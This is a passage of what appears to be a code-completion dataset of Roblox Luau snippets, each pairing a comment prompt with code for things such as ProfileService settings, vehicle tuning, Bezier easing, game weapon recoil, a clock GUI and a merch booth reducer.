update_data)\n\t\t\tupdate_data [table]\n\t\tGlobalUpdates:ClearActiveUpdate(update_id)\n\t\t\n--]]", "completion": "\n\nlocal SETTINGS = {\n\n\tAutoSaveProfiles = 20, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time)\n\tRobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key\n\tForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile\n\tAssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead\n\t\t-- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time.\n\t\n\tIssueCountForCriticalState = 5, -- Issues to collect to announce critical state\n\tIssueLast = 120, -- Seconds\n\tCriticalStateLast = 120, -- Seconds\n\t\n\tMetaTagsUpdatedValues = { -- Technical stuff - do not alter\n\t\tProfileCreateTime = true,\n\t\tSessionLoadCount = true,\n\t\tActiveSession = true,\n\t\tForceLoadSession = true,\n\t\tLastUpdate = true,\n\t},\n\t\n}\n\nlocal Madwork -- Standalone Madwork reference for portable version of ProfileService\ndo\n\n\tlocal MadworkScriptSignal = {}\n\n\tlocal FreeRunnerThread = nil\n\t\n\tlocal function AcquireRunnerThreadAndCallEventHandler(fn, ...)\n\t\tlocal acquired_runner_thread = FreeRunnerThread\n\t\tFreeRunnerThread = nil\n\t\tfn(...)\n\t\tFreeRunnerThread = acquired_runner_thread\n\tend\n\t\n\tlocal function RunEventHandlerInFreeThread(...)\n\t\tAcquireRunnerThreadAndCallEventHandler(...)\n\t\twhile true do\n\t\t\tAcquireRunnerThreadAndCallEventHandler(coroutine.yield())\n\t\tend\n\tend\n\t\n\t-- ScriptConnection object:\n\n\tlocal ScriptConnection = {\n\t\t--[[\n\t\t\t_listener = listener,\n\t\t\t_script_signal = script_signal,\n\t\t\t_disconnect_listener = disconnect_listener,\n\t\t\t_disconnect_param = disconnect_param,\n\t\t\t\n\t\t\t_next = next_script_connection,\n\t\t\t_is_connected = is_connected,\n\t\t--]]\n\t}\n\tScriptConnection.__index = ScriptConnection\n\n\tfunction ScriptConnection:Disconnect()\n\n\t\tif self._is_connected == false then\n\t\t\treturn\n\t\tend\n\n\t\tself._is_connected = false\n\t\tself._script_signal._listener_count -= 1\n\n\t\tif self._script_signal._head == self then\n\t\t\tself._script_signal._head = self._next\n\t\telse\n\t\t\tlocal prev = self._script_signal._head\n\t\t\twhile prev ~= nil and prev._next ~= self do\n\t\t\t\tprev = prev._next\n\t\t\tend\n\t\t\tif prev ~= nil then\n\t\t\t\tprev._next = self._next\n\t\t\tend\n\t\tend\n\n\t\tif self._disconnect_listener ~= nil then\n\t\t\tif not FreeRunnerThread then\n\t\t\t\tFreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread)\n\t\t\tend\n\t\t\ttask.spawn(FreeRunnerThread, self._disconnect_listener, self._disconnect_param)\n\t\t\tself._disconnect_listener = nil\n\t\tend\n\n\tend\n\t\n\t-- ScriptSignal object:\n\n\tlocal ScriptSignal = {\n\t\t--[[\n\t\t\t_head = nil,\n\t\t\t_listener_count = 0,\n\t\t--]]\n\t}\n\tScriptSignal.__index = ScriptSignal\n\n\tfunction ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection]\n\n\t\tlocal script_connection = {\n\t\t\t_listener = listener,\n\t\t\t_script_signal = self,\n\t\t\t_disconnect_listener = disconnect_listener,\n\t\t\t_disconnect_param = disconnect_param,\n\n\t\t\t_next = self._head,\n\t\t\t_is_connected = true,\n\t\t}\n\t\tsetmetatable(script_connection, ScriptConnection)\n\n\t\tself._head = script_connection\n\t\tself._listener_count += 1\n\n\t\treturn script_connection\n\n\tend\n\n\tfunction ScriptSignal:GetListenerCount() --> [number]\n\t\treturn self._listener_count\n\tend\n\n\tfunction ScriptSignal:Fire(...)\n\t\tlocal item = self._head\n\t\twhile item ~= nil do\n\t\t\tif item._is_connected == true then\n\t\t\t\tif not FreeRunnerThread then\n\t\t\t\t\tFreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread)\n\t\t\t\tend\n\t\t\t\ttask.spawn(FreeRunnerThread, item._listener, ...)\n\t\t\tend\n\t\t\titem = item._next\n\t\tend\n\tend\n\n\tfunction ScriptSignal:FireUntil(continue_callback, ...)\n\t\tlocal item = self._head\n\t\twhile item ~= nil do\n\t\t\tif item._is_connected == true then\n\t\t\t\titem._listener(...)\n\t\t\t\tif continue_callback() ~= true then\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\tend\n\t\t\titem = item._next\n\t\tend\n\tend\n\n\tfunction MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal]\n\t\treturn {\n\t\t\t_head = nil,\n\t\t\t_listener_count = 0,\n\t\t\tConnect = ScriptSignal.Connect,\n\t\t\tGetListenerCount = ScriptSignal.GetListenerCount,\n\t\t\tFire = ScriptSignal.Fire,\n\t\t\tFireUntil = ScriptSignal.FireUntil,\n\t\t}\n\tend\n\n\t-- Madwork framework namespace:\n\t\n\tMadwork = {\n\t\tNewScriptSignal = MadworkScriptSignal.NewScriptSignal,\n\t\tConnectToOnClose = function(task, run_in_studio_mode)\n\t\t\tif game:GetService(\"RunService\"):IsStudio() == false or run_in_studio_mode == true then\n\t\t\t\tgame:BindToClose(task)\n\t\t\tend\n\t\tend,\n\t}\n\nend\n"} +{"prompt": "-- hello naca\n-- things you'll need in this config:", "completion": "\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Semi\"}\t--\"Auto\", \"Semi\", or \"Manual\". Can have more than one; order from first to last \n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t--\"Speed\" or \"RPM\"\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 2000\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.84\n\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.42\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t4.37\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.76\t\t,\n\t\t--[[ 3 ]]\t\t1.94\t\t,\n\t\t--[[ 4 ]]\t\t1.45\t\t,\n\t\t--[[ 5 ]]\t\t1.05\t\t,\n\t\t--[[ 6 ]]\t\t.85\t\t\t,\n\t\t--[[ 7 ]]\t\t.69\t\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- These values are established by empiricism with tests (tradeoff: performance VS precision)", "completion": "\nlocal NEWTON_ITERATIONS = 4\nlocal NEWTON_MIN_SLOPE = 0.001\nlocal SUBDIVISION_PRECISION = 0.0000001\nlocal SUBDIVISION_MAX_ITERATIONS = 10\nlocal K_SPLINE_TABLE_SIZE = 11\n\nlocal K_SAMPLE_STEP_SIZE = 1 / (K_SPLINE_TABLE_SIZE - 1)\n\nlocal function Linear(t, b, c, d)\n\tif d ~= nil then t = t / d end\n\treturn (c or 1)*math.clamp(t, 0, 1) + (b or 0)\nend\n\nlocal Bezier = {}\n\nfunction Bezier.new(x1, y1, x2, y2)\n\t-- TS cannot (reasonably) protect against this\n\tif not (0 <= x1 and x1 <= 1 and 0 <= x2 and x2 <= 1) then error(\"The x values must be within range [0, 1]\") end\n\n\tif x1 == y1 and x2 == y2 then\n\t\treturn Linear\n\tend\n\n\t-- Precompute redundant values\n\tlocal e, f = 3*x1, 3*x2\n\tlocal g, h, i = 1 - f + e, f - 2*e, 3*(1 - f + e)\n\tlocal j, k = 2*h, 3*y1\n\tlocal l, m = 1 - 3*y2 + k, 3*y2 - 2*k\n\n\t-- Precompute samples table\n\tlocal SampleValues = {}\n\tfor a = 0, K_SPLINE_TABLE_SIZE - 1 do\n\t\tlocal z = a*K_SAMPLE_STEP_SIZE\n\t\tSampleValues[a] = ((g*z + h)*z + e)*z -- CalcBezier\n\tend\n\n\treturn function(t, b, c, d)\n\t\tif d ~= nil then t = t / d end\n\t\tt = math.clamp(t, 0, 1) -- Make sure the endpoints are correct\n\n\t\tlocal CurrentSample = K_SPLINE_TABLE_SIZE - 2\n\n\t\tfor a = 1, CurrentSample do\n\t\t\tif SampleValues[a] > t then\n\t\t\t\tCurrentSample = a - 1\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\n\t\t-- Interpolate to provide an initial guess for t\n\t\tlocal IntervalStart = CurrentSample*K_SAMPLE_STEP_SIZE\n\t\tlocal GuessForT = IntervalStart + K_SAMPLE_STEP_SIZE*(t - SampleValues[CurrentSample]) / (SampleValues[CurrentSample + 1] - SampleValues[CurrentSample])\n\t\tlocal InitialSlope = (i*GuessForT + j)*GuessForT + e\n\n\t\tif InitialSlope >= NEWTON_MIN_SLOPE then\n\t\t\tfor NewtonRaphsonIterate = 1, NEWTON_ITERATIONS do\n\t\t\t\tlocal CurrentSlope = (i*GuessForT + j)*GuessForT + e\n\t\t\t\tif CurrentSlope == 0 then break end\n\t\t\t\tGuessForT = GuessForT - (((g*GuessForT + h)*GuessForT + e)*GuessForT - t) / CurrentSlope\n\t\t\tend\n\t\telseif InitialSlope ~= 0 then\n\t\t\tlocal IntervalStep = IntervalStart + K_SAMPLE_STEP_SIZE\n\n\t\t\tfor BinarySubdivide = 1, SUBDIVISION_MAX_ITERATIONS do\n\t\t\t\tGuessForT = IntervalStart + 0.5*(IntervalStep - IntervalStart)\n\t\t\t\tlocal BezierCalculation = ((g*GuessForT + h)*GuessForT + e)*GuessForT - t\n\n\t\t\t\tif BezierCalculation > 0 then\n\t\t\t\t\tIntervalStep = GuessForT\n\t\t\t\telse\n\t\t\t\t\tIntervalStart = GuessForT\n\t\t\t\t\tBezierCalculation = -BezierCalculation\n\t\t\t\tend\n\n\t\t\t\tif BezierCalculation <= SUBDIVISION_PRECISION then break end\n\t\t\tend\n\t\tend\n\n\t\tt = ((l*GuessForT + m)*GuessForT + k)*GuessForT\n\t\treturn (c or 1)*t + (b or 0)\n\tend\nend\n\nreturn Bezier\n"} +{"prompt": "--- The dispatcher handles creating and running commands during the game.", "completion": "\nlocal Dispatcher = {\n\tCmdr = nil;\n\tRegistry = nil;\n\n}\n"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -0.05; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 0.05; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.05; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 0.05; -- How much the camera flicks when aiming\n\t\n\tCamShake = 8; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING\n\tAimCamShake = 6; -- THIS IS ALSO NEW!!!!\n\t\n\tKickback = 0.6; -- Upward gun rotation when not aiming\n\tAimKickback = 0.3; -- Upward gun rotation when aiming\n\t"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 2100\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--!strict", "completion": "\nlocal Array = script.Parent\nlocal isArray = require(Array.isArray)\nlocal LuauPolyfill = Array.Parent\nlocal types = require(LuauPolyfill.types)\ntype Array = types.Array\n\nlocal RECEIVED_OBJECT_ERROR = \"Array.concat(...) only works with array-like tables but \"\n\t.. \"it received an object-like table.\\nYou can avoid this error by wrapping the \"\n\t.. \"object-like table into an array. Example: `concat({1, 2}, {a = true})` should \"\n\t.. \"be `concat({1, 2}, { {a = true} }`\"\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nwhile true do\n\twait()\n if Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.UP.Material = \"Neon\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n elseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(ActiveCol)\n\t\tThis.Display.ARW1.DOWN.Material = \"Neon\"\n\telse\n\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n end\nend\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\nTune.Config\t\t\t= \"AWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n"} +{"prompt": "--[[\n\tROBLOX deviation: rewrote regex patterns and split up patterns for alternations\n\toriginal code:\n\tconst JASMINE_IGNORE =\n\t /^\\s+at(?:(?:.jasmine\\-)|\\s+jasmine\\.buildExpectationResult)/;\n]]\n-- filter for noisy stack trace lines", "completion": "\nlocal JASMINE_IGNORE = \"%s+at(.jasmine%-)\"\nlocal JASMINE_IGNORE_BUILDEXPECTATIONRESULT = \"%s+at(%s+jasmine%.buildExpectationResult)\""} +{"prompt": "-----------------\n--| Constants |--\n-----------------", "completion": "\n\nlocal BLAST_RADIUS = 8 -- Blast radius of the explosion\nlocal BLAST_DAMAGE = 0 -- Amount of damage done to players\nlocal BLAST_FORCE = 1000 -- Amount of force applied to parts\n\nlocal IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid)\n\tif (animName ~= currentAnim) then\t\t \n\t\t\n\t\tif (oldAnimTrack ~= nil) then\n\t\t\toldAnimTrack:Stop()\n\t\t\toldAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx = 1\n\t\twhile (roll > animTable[animName][idx].weight) do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "--Waiting for player to click button", "completion": "\nscript.Parent.MouseButton1Click:Connect(function()"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {5,7}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {4,6}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .875\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .1\n\t,VPunchBase = 2.25\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 1.5\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.2\n\t,MinRecoilPower = .25\n\t,MaxRecoilPower = 3\n\t,RecoilPowerStepAmount = .2\n\t\n\t,MinSpread = 2.5\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 45\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 1.75\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "-- types that are common across ReactFiberHostConfig files, moved here to avoid circular deps", "completion": "\ntype Object = { [string]: any }\nexport type OpaqueIDType = string | Object\n\nreturn {\n\tWithNoHydration = require(script.WithNoHydration),\n\tWithNoPersistence = require(script.WithNoPersistence),\n\tWithNoTestSelectors = require(script.WithNoTestSelectors),\n}\n"} +{"prompt": "--[ FUNCTIONS ]--", "completion": "\n\ngame:GetService(\"UserInputService\").WindowFocusReleased:Connect(function() -- tab in\n\tReplicatedStorageEvent:FireServer(true)\nend)\n\ngame:GetService(\"UserInputService\").WindowFocused:Connect(function() -- tab out\n\tReplicatedStorageEvent:FireServer(false)\nend)\n\n\n"} +{"prompt": "-- Initialize the core", "completion": "\nlocal Core = require(Tool:WaitForChild 'Core');\n"} +{"prompt": "--\t\t{\"MONTH\", TOAL DAYS TO YEAR, DAYS}\t<- Format", "completion": "\n\t\t{\"January\",31,31};\n\t\t{\"February\",59,28};\n\t\t{\"March\",90,31};\n\t\t{\"April\",120,30};\n\t\t{\"May\",151,31};\n\t\t{\"June\",181,30};\n\t\t{\"July\",212,31};\n\t\t{\"August\",243,31};\n\t\t{\"September\",273,30};\n\t\t{\"October\",304,31};\n\t\t{\"November\",334,30};\n\t\t{\"December\",365,31};\n\t}\n\tyear = math.floor(1970+(t/31579200))\n\tif ((year%4) == 0) then\t-- Check for leap year\n\t\tmonths[2][3] = 29\n\t\tfor i,v in pairs(months) do\n\t\t\tif (i ~= 1) then\n\t\t\t\tv[2] = (v[2]+1)\n\t\t\tend\n\t\tend\n\tend\n\tday = math.floor(((t/86400)%365.25)+1)\t-- Get current day of the year. Starts at 0, so 1 is added\t(365.25 is the average # of days in a year due to leap year)\n\tfor i,m in pairs(months) do\n\t\tif ((m[2]-m[3]) <= day) then\t-- Get month based on day\n\t\t\tmonth = i\n\t\tend\n\tend\n\tlocal m = months[month]\n\tday = (day+m[3]-m[2])\t-- Get day of the month\n\tyear,day = tostring(year),tostring(day)\n\tlocal c,s = \", \",\" \"\t-- Comma, space\n\tDate = (months[month][1] .. s .. day .. c .. year)\nend\n\nfunction getTime()\n\tlocal sec = math.floor((t%60))\t\t-- Sec, Min, and Hour equations I actually got off of Google. Everything else was written by me\n\tlocal min = math.floor((t/60)%60)\n\tlocal hour = math.floor((t/3600)%24)\n\tsec = tostring((sec < 10 and \"0\" or \"\") .. sec)\n\tmin = tostring((min < 10 and \"0\" or \"\") .. min)\n\ttag = (Type == 0 and (hour < 12 and \"AM\" or \"PM\") or \"\")\n\thour = ((Type == 1 and hour < 10 and \"0\" or \"\") .. tostring(Type == 0 and (hour == 0 and 12 or hour > 12 and (hour-12) or hour) or hour))\t-- Ternary operators FTW. Helps get rid of 'if then' stuff. Actually learned this off of Java programming:\tz = (x == y ? \"Yes\" : \"No\")\n\tlocal c,s = \":\",(Type == 0 and \" \" or \"\")\t-- Colon, (space if 12 hr clock)\n\tTime = (hour .. c .. min .. (Sec and c .. sec or \"\") .. s .. tag)\nend\n\nfunction display(start)\n\tif (start) then\n\t\tgetDate()\n\t\tgetTime()\n\t\tdelay(0,function()\n\t\t\tfor i = 1,0,-0.05 do\n\t\t\t\tscript.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = i,i\n\t\t\t\twait()\n\t\t\tend\n\t\t\tscript.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = 0,0\n\t\tend)\n\tend\n\tscript.Parent.Time.Text = Time\t-- ORLY?\n\tscript.Parent.Date.Text = Date\nend\n\nfunction buttons()\n\t-- This is all the GUI handling stuff\n\tlocal h12 = script.Parent.Hr12\n\tlocal h24 = script.Parent.Hr24\n\tlocal s = script.Parent.Sec\n\th12.MouseButton1Click:connect(function()\n\t\tType = 0\n\t\th12.Style,h24.Style = 1,2\n\t\th12.TextTransparency,h24.TextTransparency = 0,0.5\n\tend)\n\th24.MouseButton1Click:connect(function()\n\t\tType = 1\n\t\th24.Style,h12.Style = 1,2\n\t\th24.TextTransparency,h12.TextTransparency = 0,0.5\n\tend)\n\ts.MouseButton1Click:connect(function()\n\t\tSec = (not Sec)\t-- Fastest way to switch a boolean in lua\n\t\ts.Style = (Sec and 1 or 2)\n\t\ts.TextTransparency = (Sec and 0 or 0.5)\n\tend)\nend\n\nfunction start()\n\tbuttons()\n\tdisplay(true)\n\twhile (true) do\n\t\t-- Simplicity FTW:\n\t\tt = tick()\n\t\tgetDate()\n\t\tgetTime()\n\t\tdisplay()\n\t\twait()\n\tend\nend\n\nstart()\n"} +{"prompt": "-- for gamepad input, use the camera moved event", "completion": "\nworkspace.CurrentCamera:GetPropertyChangedSignal(\"CFrame\"):Connect(function(propString)\n\tonCursorMoved()\nend)\n \n"} +{"prompt": "--[[\n\tINPUT: Object part\n\tOUTPUT: Object character, Player player, Humanoid humanoid\n--]]", "completion": "\nlocal Players = game:GetService'Players'\n\nreturn function(part)\n\tlocal current = part\n\tlocal character = nil\n\tlocal humanoid = nil\n\tlocal player = nil\n\twhile true do\n\t\tfor i, child in next, current:GetChildren() do\n\t\t\tif child:IsA'Humanoid' then\n\t\t\t\tcharacter = current\n\t\t\t\thumanoid = child\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tif current:IsA'Player' then\n\t\t\tlocal GLib = require(script.Parent)\n\t\t\tcharacter = current.Character\n\t\t\thumanoid = character and GLib.GetHumanoid(character)\n\t\t\tplayer = current\n\t\t\tbreak\n\t\tend\n\t\t\n\t\tif character then\n\t\t\tbreak\n\t\telse\n\t\t\tcurrent = current.Parent\n\t\t\t\n\t\t\tif not current or current == game then\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\t\n\treturn character, player or (character and Players:GetPlayerFromCharacter(character)), humanoid\nend\n"} +{"prompt": "-- Reducer that holds various UI element states, such as the visibility of some components", "completion": "\n\nlocal MerchBooth = script:FindFirstAncestor(\"MerchBooth\")\n\nlocal Rodux = require(MerchBooth.Packages.Rodux)\nlocal Cryo = require(MerchBooth.Packages.Cryo)\nlocal types = require(MerchBooth.types)\nlocal setViewedItem = require(MerchBooth.Actions.setViewedItem)\nlocal removeItemInfo = require(MerchBooth.Actions.removeItemInfo)\nlocal setMerchBoothVisible = require(MerchBooth.Actions.setMerchBoothVisible)\nlocal setMerchBoothFocused = require(MerchBooth.Actions.setMerchBoothFocused)\nlocal setCatalogButtonVisible = require(MerchBooth.Actions.setCatalogButtonVisible)\nlocal setCatalogFilter = require(MerchBooth.Actions.setCatalogFilter)\nlocal setCatalogSortFunction = require(MerchBooth.Actions.setCatalogSortFunction)\nlocal setEquipModalVisible = require(MerchBooth.Actions.setEquipModalVisible)\nlocal setMerchBoothEnabled = require(MerchBooth.Actions.setMerchBoothEnabled)\n\nlocal initialState = {\n\tmerchBoothOpen = false,\n\tisMerchBoothFocused = false,\n\tcatalogButtonVisible = true,\n\tcatalogSortFunction = function(a: types.ItemInfo, b: types.ItemInfo)\n\t\treturn a.title < b.title\n\tend,\n\tisEquipModalShown = false,\n\tisMerchBoothEnabled = false,\n}\n\nexport type State = typeof(initialState) & {\n\tviewedItemId: number?,\n\tcatalogFilter: types.ProductType?,\n}\n\nlocal ui = Rodux.createReducer(initialState, {\n\t[setMerchBoothEnabled.name] = function(state: State, action: setMerchBoothEnabled.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tisMerchBoothEnabled = action.isEnabled,\n\t\t})\n\tend,\n\n\t[setViewedItem.name] = function(state: State, action: setViewedItem.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tviewedItemId = action.assetId or Cryo.None,\n\t\t})\n\tend,\n\n\t[removeItemInfo.name] = function(state: State, action: removeItemInfo.Action)\n\t\t-- Kicks the user from item view if what they're viewing is being removed\n\t\tif state.viewedItemId == tonumber(action.itemId) then\n\t\t\treturn Cryo.Dictionary.join(state, {\n\t\t\t\tviewedItemId = Cryo.None,\n\t\t\t})\n\t\tend\n\t\treturn state\n\tend,\n\n\t[setMerchBoothVisible.name] = function(state: State, action: setMerchBoothVisible.Action)\n\t\tif action.visible then\n\t\t\treturn Cryo.Dictionary.join(state, {\n\t\t\t\tmerchBoothOpen = true,\n\t\t\t\tisMerchBoothFocused = true,\n\t\t\t})\n\t\telse\n\t\t\treturn Cryo.Dictionary.join(state, {\n\t\t\t\tmerchBoothOpen = false,\n\t\t\t\tisMerchBoothFocused = false,\n\t\t\t\tcatalogFilter = Cryo.None, -- Reset the current filter\n\t\t\t\tviewedItemId = Cryo.None, -- Resets to catalog view when closing Merch Booth\n\t\t\t})\n\t\tend\n\tend,\n\n\t[setMerchBoothFocused.name] = function(state: State, action: setMerchBoothFocused.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tisMerchBoothFocused = action.isFocused,\n\t\t})\n\tend,\n\n\t[setCatalogButtonVisible.name] = function(state: State, action: setCatalogButtonVisible.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tcatalogButtonVisible = action.visible,\n\t\t})\n\tend,\n\n\t[setEquipModalVisible.name] = function(state: State, action: setEquipModalVisible.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tisEquipModalShown = action.visible,\n\t\t})\n\tend,\n\n\t[setCatalogFilter.name] = function(state: State, action: setCatalogFilter.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tcatalogFilter = action.filter,\n\t\t})\n\tend,\n\n\t[setCatalogSortFunction.name] = function(state: State, action: setCatalogSortFunction.Action)\n\t\treturn Cryo.Dictionary.join(state, {\n\t\t\tcatalogSortFunction = action.sort,\n\t\t})\n\tend,\n})\n\nreturn ui\n"} +{"prompt": "--", "completion": "\n\nlocal function pivotAround(model, pivotCF, newCF)\n\tlocal invPivotCF = pivotCF:Inverse()\n\tfor _, part in next, model:GetDescendants() do\n\t\tpart.CFrame = newCF * (invPivotCF * part.CFrame)\n\tend\nend\n\nlocal function createSection(subN, interior_radius, exterior_radius, ppu)\n\tlocal subModel = Instance.new(\"Model\")\n\t\n\tlocal exCircum = (TAU*exterior_radius)/subN - GAP\n\tlocal inCircum = (TAU*interior_radius)/subN - GAP\n\n\tlocal exTheta = exCircum / (exterior_radius)\n\tlocal inTheta = inCircum / (interior_radius)\n\tlocal diffTheta = exTheta - inTheta\n\t\n\tlocal exPoints = {}\n\tlocal inPoints = {}\n\t\n\tlocal nParts = math.ceil(exCircum/ppu)\n\t\n\tfor i = 0, nParts do\n\t\texPoints[i + 1] = CENTER * CFrame.fromEulerAnglesXYZ(0, 0, (i/nParts)*exTheta) * Vector3.new(exterior_radius, 0, 0)\n\t\tinPoints[i + 1] = CENTER * CFrame.fromEulerAnglesXYZ(0, 0, diffTheta/2 + (i/nParts)*inTheta) * Vector3.new(interior_radius, 0, 0)\n\tend\n\t\n\tfor i = 1, nParts do\n\t\tlocal a = exPoints[i]\n\t\tlocal b = inPoints[i]\n\t\tlocal c = exPoints[i + 1]\n\t\tlocal d = inPoints[i + 1]\n\t\t\n\t\tTriangle(subModel, a, b, c)\n\t\tTriangle(subModel, b, c, d)\n\tend\n\t\n\treturn subModel\nend\n\nlocal function createRadial(subN, tPercent, rotation, ZIndex)\n\trotation = rotation or 0\n\tZIndex = ZIndex or 1\n\t\n\tlocal dialEx = (1 - tPercent)*EXTERIOR_RADIUS - 1\n\tlocal dialIn = dialEx - 2\n\t\n\tlocal section = createSection(subN, (1 - tPercent)*EXTERIOR_RADIUS, EXTERIOR_RADIUS, PART_PER_UNIT)\n\tlocal innerSection = createSection(subN, dialIn, dialEx, PART_PER_UNIT/2)\n\t\n\tlocal frame = Instance.new(\"Frame\")\n\tlocal radialFrame = Instance.new(\"Frame\")\n\tlocal attachFrame = Instance.new(\"Frame\")\n\tradialFrame.BackgroundTransparency = 1\n\tattachFrame.BackgroundTransparency = 1\n\tradialFrame.Size = UDim2.new(1, 0, 1, 0)\n\tattachFrame.Size = UDim2.new(1, 0, 1, 0)\n\tradialFrame.Name = \"Radial\"\n\tattachFrame.Name = \"Attach\"\n\tradialFrame.Parent = frame\n\tattachFrame.Parent = frame\n\t\n\tframe.ZIndex = ZIndex\n\tradialFrame.ZIndex = ZIndex\n\tattachFrame.ZIndex = ZIndex\n\t\n\tlocal thickness = tPercent * 